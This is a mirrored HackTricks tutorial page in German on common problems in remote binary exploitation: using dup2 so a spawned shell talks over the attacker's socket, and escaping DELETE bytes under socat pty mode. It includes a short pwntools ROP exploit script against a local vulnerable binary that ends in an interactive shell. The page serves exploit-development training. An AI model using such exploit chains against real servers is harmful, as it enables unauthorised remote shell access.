mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
1.8 KiB
Markdown
37 lines
1.8 KiB
Markdown
# Häufige Exploit-Probleme
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## FDs in der Remote-Exploitation
|
|
|
|
Wenn ein Exploit an einen Remote-Server gesendet wird, der beispielsweise **`system('/bin/sh')`** aufruft, wird dies natürlich im Serverprozess ausgeführt, und `/bin/sh` erwartet Eingaben von stdin (FD: `0`) und gibt die Ausgaben auf stdout und stderr (FDs `1` und `2`) aus. Der Angreifer kann also nicht mit der Shell interagieren.
|
|
|
|
Eine Möglichkeit, dies zu beheben, besteht darin anzunehmen, dass der Server beim Start **FD-Nummer `3`** (zum Lauschen) erstellt hat und dass dann Ihre Verbindung in **FD-Nummer `4`** sein wird. Daher ist es möglich, den Syscall **`dup2`** zu verwenden, um stdin (FD 0) und stdout (FD 1) in FD 4 (die des Angreifers) zu duplizieren, sodass es möglich wird, mit der Shell zu kommunizieren, sobald sie ausgeführt wird.
|
|
|
|
[**Exploit-Beispiel von hier**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = remote('localhost', 9001)
|
|
|
|
rop = ROP(elf)
|
|
rop.raw('A' * 40)
|
|
rop.dup2(4, 0)
|
|
rop.dup2(4, 1)
|
|
rop.win()
|
|
|
|
p.sendline(rop.chain())
|
|
p.recvuntil('Thanks!\x00')
|
|
p.interactive()
|
|
```
|
|
## Socat & pty
|
|
|
|
Beachten Sie, dass socat bereits `stdin` und `stdout` an den Socket überträgt. Der `pty`-Modus **enthält jedoch DELETE-Zeichen**. Wenn Sie also ein `\x7f` ( `DELETE` -) senden, wird **das vorherige Zeichen** Ihres Exploits **gelöscht**.
|
|
|
|
Um dies zu umgehen, muss das **Escape-Zeichen `\x16` vor jedem gesendeten `\x7f` hinzugefügt werden.**
|
|
|
|
**Hier können Sie** [**ein Beispiel für dieses Verhalten finden**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|